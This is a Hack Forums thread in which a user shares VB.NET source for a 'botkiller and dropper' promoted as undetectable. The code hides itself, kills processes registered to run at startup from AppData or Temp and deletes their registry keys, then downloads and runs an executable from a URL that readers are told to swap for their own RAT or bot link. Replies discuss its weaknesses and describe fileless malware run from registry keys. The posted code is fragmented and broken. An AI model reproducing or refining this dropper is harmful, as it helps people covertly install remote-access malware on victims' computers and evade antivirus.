

Forum:[Hack Forums](#)

Thread: [16kb Botkiller + dropper Fud](#)

LeTippiie - October 31, 2016, 11:51 pm

Here's my source to my Botkiller and dropper bin
Change "google.com/f.exe" to your RAT/BOT link and compile enjoy
here is a scan of a bin nodistribute.com/result/pzB6qE9A0HYd8UkuOLQyJ3oTitjf

```
Code Imports System.Text
Imports Microsoft.Win32
Public Class Form1
```

```
Public Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    Me.Hide()
    Try
        bk()
        Dim LeAudisubstring As String
        LeAudisubstring = "C:\Users\Public\Documents\Le.exe"
        If System.IO.File.Exists(LeAudisubstring) = True Then
            System.IO.File.Delete(LeAudisubstring)
        End If

        My.Computer.Network.DownloadFile("google.com/f.exe",
"C:\Users\Public\Documents\Le.exe")
        Process.Start("C:\Users\Public\Documents\Le.exe")
    Catch ex As Exception
    End Try
End

End Sub
Public Shared Sub bk()
    Try

        Dim x As Int32 = 0
        Dim r As RegistryKey
        r = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run",
True)
        For Each key As String In r.GetValueNames
            Try
                Dim location As String = Registry.GetValue(r.ToString, key, "Error")
                If location.Contains("\AppData\") Then
                    Try
                        For Each p As Process In Process.GetProcesses()
                            Try
                                If p.MainModule.FileName.Contains(location) Then
                                    p.Kill()
                                End If
                            End Try
                        Next
                    End Try
                End If
            End Try
        Next
    End Try
End Sub
```

```

        r.DeleteValue(key)
        x += 1
    End If
Catch ex As Exception
End Try
Next
Catch ex As Exception
End Try
Elseif location.Contains("\Temp") Then
Try
    For Each p As Process In Process.GetProcesses()
        Try
            If p.MainModule.FileName.Contains(location) Then
                p.Kill()
                r.DeleteValue(key)
                x += 1
            End If
        Catch ex As Exception
        End Try
    Next
Catch ex As Exception
End Try
End If
Catch ex As Exception
End Try
Next

Catch ex As Exception

End Try
End Sub

End Class

```

Alison Wonderland - November 1, 2016, 12:04 am

SO kill and kill all process in the startup of registry that are found in temp or app data?
and remove the key?

Nothing with startup folder?

Nothing for Fileless virus' that use only registry to run?

and this will almost definitley trigger every runtime AV's detections

LeTippiie - November 1, 2016, 12:16 am

(Nov 1, 2016 12:04 AM)Alison Wonderland Wrote: [\[CITE\]](#) SO kill and kill all process in the startup of registry that are found in temp or app data?
and remove the key?

Nothing with startup folder?

Nothing for Fileless virus' that use only registry to run?

and this will almost definitley trigger every runtime AV's detections

Runtime avs actually don't pick it up and if you want a snippet on removing bots in start up folder i

can write it if you really need it along with your "fileless" files running off of registry
i never said it was an ace botkiller im sorry i have failed you oh great one

Alison Wonderland - November 1, 2016, 12:19 am

(Nov 1, 2016 12:16 AM)LeTippiie Wrote: [\[CITE\]](#) Runtime avs actually don't pick it up and if you want a snippet on removing bots in start up folder i can write it if you really need it along with your "fileless" files running off of registry

i never said it was an ace botkiller im sorry i have failed you oh great one

Im actually good. Was just pointing out flaws in case anyone wanted to use this a basis its okay but to know limitations is good also yknow.

Filesless virus, not filesless files.

Yknow ones that use encrypted registry keys that run commands that run PS via commandline to execute payload from memory?
those ones

LeTippiie - November 1, 2016, 12:34 am

(Nov 1, 2016 12:19 AM)Alison Wonderland Wrote: [\[CITE\]](#) Im actually good. Was just pointing out flaws in case anyone wanted to use this a basis its okay but to know limitations is good also yknow.

Filesless virus, not filesless files.

Yknow ones that use encrypted registry keys that run commands that run PS via commandline to execute payload from memory?
those ones

I understand where your coming from and I admit the limitations of it and your right if you execute from reg it will have no effect but if anyone needs help adding the function to do so I will provide and example if need be not trying to fight just releasing some of my older work for others to gain a bit of understanding so that they can apply to projects of there own